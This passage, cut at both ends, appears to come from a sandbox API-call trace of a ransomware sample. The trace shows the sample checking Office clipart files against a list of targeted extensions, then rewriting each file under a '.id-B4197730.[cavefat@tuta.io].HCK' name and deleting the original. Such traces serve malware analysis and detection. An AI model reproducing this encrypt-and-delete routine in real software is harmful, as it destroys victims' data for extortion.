Office\\root\\CLIPART\\PUB60COR\\SO00223_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.380] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00223_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00223_.wmf")) returned 1 [0180.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00223_.WMF") returned 68 [0180.381] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00223_.WMF") returned 68 [0180.382] lstrlenW (lpString=".doc") returned 4 [0180.382] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.382] lstrlenW (lpString=".docx") returned 5 [0180.382] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.382] lstrlenW (lpString=".pdf") returned 4 [0180.382] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.382] lstrlenW (lpString=".xls") returned 4 [0180.382] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.382] lstrlenW (lpString=".xlsx") returned 5 [0180.382] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.382] lstrlenW (lpString=".ppt") returned 4 [0180.382] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00223_.WMF") returned 68 [0180.382] lstrlenW (lpString=".zip") returned 4 [0180.382] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.382] lstrlenW (lpString=".rar") returned 4 [0180.382] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.382] lstrlenW (lpString=".bz2") returned 4 [0180.382] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.382] lstrlenW (lpString=".7z") returned 3 [0180.382] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00223_.WMF") returned 68 [0180.382] lstrlenW (lpString=".dbf") returned 4 [0180.382] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00223_.WMF") returned 68 [0180.382] lstrlenW (lpString=".1cd") returned 4 [0180.382] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00223_.WMF") returned 68 [0180.382] lstrlenW (lpString=".jpg") returned 4 [0180.382] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00223_.WMF") returned 68 [0180.382] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00223_.WMF") returned 68 [0180.382] lstrlenW (lpString=".doc") returned 4 [0180.382] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.382] lstrlenW (lpString=".docx") returned 5 [0180.382] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.382] lstrlenW (lpString=".pdf") returned 4 [0180.382] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.382] lstrlenW (lpString=".xls") returned 4 [0180.382] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.382] lstrlenW (lpString=".xlsx") returned 5 [0180.382] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.382] lstrlenW (lpString=".ppt") returned 4 [0180.382] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00223_.WMF") returned 68 [0180.383] lstrlenW (lpString=".zip") returned 4 [0180.383] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.383] lstrlenW (lpString=".rar") returned 4 [0180.383] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.383] lstrlenW (lpString=".bz2") returned 4 [0180.383] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.383] lstrlenW (lpString=".7z") returned 3 [0180.383] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00223_.WMF") returned 68 [0180.383] lstrlenW (lpString=".dbf") returned 4 [0180.383] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00223_.WMF") returned 68 [0180.383] lstrlenW (lpString=".1cd") returned 4 [0180.383] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.383] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00223_.WMF") returned 68 [0180.383] lstrlenW (lpString=".jpg") returned 4 [0180.383] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.383] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.383] lstrlenW (lpString="SO00305_.WMF") returned 12 [0180.383] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00305_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.384] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=31236) returned 1 [0180.384] CloseHandle (hObject=0x370) returned 1 [0180.385] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00305_.wmf")) returned 0x220 [0180.390] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00305_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00305_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00305_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.393] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.394] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00305_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00305_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.398] GetLastError () returned 0x0 [0180.398] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x7a04, lpOverlapped=0x0) returned 1 [0180.402] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x7a10, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x7a10, lpOverlapped=0x0) returned 1 [0180.403] ReadFile (in: hFile=0x300, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.403] WriteFile (in: hFile=0x2fc, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.403] SetEndOfFile (hFile=0x2fc) returned 1 [0180.407] CloseHandle (hObject=0x2fc) returned 1 [0180.410] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.410] SetEndOfFile (hFile=0x300) returned 1 [0180.412] CloseHandle (hObject=0x300) returned 1 [0180.412] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00305_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.412] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00305_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00305_.wmf")) returned 1 [0180.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00305_.WMF") returned 68 [0180.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00305_.WMF") returned 68 [0180.413] lstrlenW (lpString=".doc") returned 4 [0180.413] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.413] lstrlenW (lpString=".docx") returned 5 [0180.413] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.413] lstrlenW (lpString=".pdf") returned 4 [0180.413] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.413] lstrlenW (lpString=".xls") returned 4 [0180.413] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.413] lstrlenW (lpString=".xlsx") returned 5 [0180.413] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.413] lstrlenW (lpString=".ppt") returned 4 [0180.413] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00305_.WMF") returned 68 [0180.413] lstrlenW (lpString=".zip") returned 4 [0180.414] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.414] lstrlenW (lpString=".rar") returned 4 [0180.414] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.414] lstrlenW (lpString=".bz2") returned 4 [0180.414] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.414] lstrlenW (lpString=".7z") returned 3 [0180.414] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00305_.WMF") returned 68 [0180.414] lstrlenW (lpString=".dbf") returned 4 [0180.414] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00305_.WMF") returned 68 [0180.414] lstrlenW (lpString=".1cd") returned 4 [0180.414] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00305_.WMF") returned 68 [0180.414] lstrlenW (lpString=".jpg") returned 4 [0180.414] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00305_.WMF") returned 68 [0180.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00305_.WMF") returned 68 [0180.414] lstrlenW (lpString=".doc") returned 4 [0180.414] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.414] lstrlenW (lpString=".docx") returned 5 [0180.414] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.414] lstrlenW (lpString=".pdf") returned 4 [0180.414] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.414] lstrlenW (lpString=".xls") returned 4 [0180.414] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.414] lstrlenW (lpString=".xlsx") returned 5 [0180.414] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.414] lstrlenW (lpString=".ppt") returned 4 [0180.414] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00305_.WMF") returned 68 [0180.414] lstrlenW (lpString=".zip") returned 4 [0180.414] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.414] lstrlenW (lpString=".rar") returned 4 [0180.414] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.414] lstrlenW (lpString=".bz2") returned 4 [0180.414] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.414] lstrlenW (lpString=".7z") returned 3 [0180.414] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00305_.WMF") returned 68 [0180.414] lstrlenW (lpString=".dbf") returned 4 [0180.414] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00305_.WMF") returned 68 [0180.414] lstrlenW (lpString=".1cd") returned 4 [0180.414] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00305_.WMF") returned 68 [0180.415] lstrlenW (lpString=".jpg") returned 4 [0180.415] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.415] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.415] lstrlenW (lpString="SO00352_.WMF") returned 12 [0180.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00352_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.416] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=37708) returned 1 [0180.416] CloseHandle (hObject=0x2fc) returned 1 [0180.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00352_.wmf")) returned 0x220 [0180.417] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00352_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00352_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00352_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.425] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.425] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00352_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00352_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.429] GetLastError () returned 0x0 [0180.429] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x934c, lpOverlapped=0x0) returned 1 [0180.432] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x9350, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x9350, lpOverlapped=0x0) returned 1 [0180.433] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.433] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.433] SetEndOfFile (hFile=0x370) returned 1 [0180.434] CloseHandle (hObject=0x370) returned 1 [0180.436] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.436] SetEndOfFile (hFile=0x368) returned 1 [0180.438] CloseHandle (hObject=0x368) returned 1 [0180.440] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00352_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.440] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00352_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00352_.wmf")) returned 1 [0180.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00352_.WMF") returned 68 [0180.440] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00352_.WMF") returned 68 [0180.440] lstrlenW (lpString=".doc") returned 4 [0180.440] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.440] lstrlenW (lpString=".docx") returned 5 [0180.440] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.441] lstrlenW (lpString=".pdf") returned 4 [0180.441] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.441] lstrlenW (lpString=".xls") returned 4 [0180.441] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.441] lstrlenW (lpString=".xlsx") returned 5 [0180.441] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.441] lstrlenW (lpString=".ppt") returned 4 [0180.441] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00352_.WMF") returned 68 [0180.441] lstrlenW (lpString=".zip") returned 4 [0180.441] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.441] lstrlenW (lpString=".rar") returned 4 [0180.441] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.441] lstrlenW (lpString=".bz2") returned 4 [0180.441] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.441] lstrlenW (lpString=".7z") returned 3 [0180.441] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00352_.WMF") returned 68 [0180.441] lstrlenW (lpString=".dbf") returned 4 [0180.441] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00352_.WMF") returned 68 [0180.441] lstrlenW (lpString=".1cd") returned 4 [0180.441] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00352_.WMF") returned 68 [0180.441] lstrlenW (lpString=".jpg") returned 4 [0180.441] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00352_.WMF") returned 68 [0180.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00352_.WMF") returned 68 [0180.441] lstrlenW (lpString=".doc") returned 4 [0180.441] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.441] lstrlenW (lpString=".docx") returned 5 [0180.441] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.441] lstrlenW (lpString=".pdf") returned 4 [0180.441] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.441] lstrlenW (lpString=".xls") returned 4 [0180.441] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.441] lstrlenW (lpString=".xlsx") returned 5 [0180.441] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.441] lstrlenW (lpString=".ppt") returned 4 [0180.441] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.441] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00352_.WMF") returned 68 [0180.441] lstrlenW (lpString=".zip") returned 4 [0180.441] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.441] lstrlenW (lpString=".rar") returned 4 [0180.441] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.441] lstrlenW (lpString=".bz2") returned 4 [0180.442] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.442] lstrlenW (lpString=".7z") returned 3 [0180.442] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00352_.WMF") returned 68 [0180.442] lstrlenW (lpString=".dbf") returned 4 [0180.442] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00352_.WMF") returned 68 [0180.442] lstrlenW (lpString=".1cd") returned 4 [0180.442] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.442] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00352_.WMF") returned 68 [0180.442] lstrlenW (lpString=".jpg") returned 4 [0180.442] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.442] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.442] lstrlenW (lpString="SO00382_.WMF") returned 12 [0180.442] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00382_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.443] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=10228) returned 1 [0180.443] CloseHandle (hObject=0x370) returned 1 [0180.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00382_.wmf")) returned 0x220 [0180.444] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00382_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00382_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.445] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00382_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0180.449] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.449] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.449] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00382_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00382_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.453] GetLastError () returned 0x0 [0180.453] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x27f4, lpOverlapped=0x0) returned 1 [0180.457] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x2800, lpOverlapped=0x0) returned 1 [0180.458] ReadFile (in: hFile=0x39c, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.458] WriteFile (in: hFile=0x370, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.458] SetEndOfFile (hFile=0x370) returned 1 [0180.460] CloseHandle (hObject=0x370) returned 1 [0180.462] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.462] SetEndOfFile (hFile=0x39c) returned 1 [0180.463] CloseHandle (hObject=0x39c) returned 1 [0180.464] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00382_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.464] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00382_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00382_.wmf")) returned 1 [0180.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00382_.WMF") returned 68 [0180.465] lstrlenW (lpString="C:\\Program 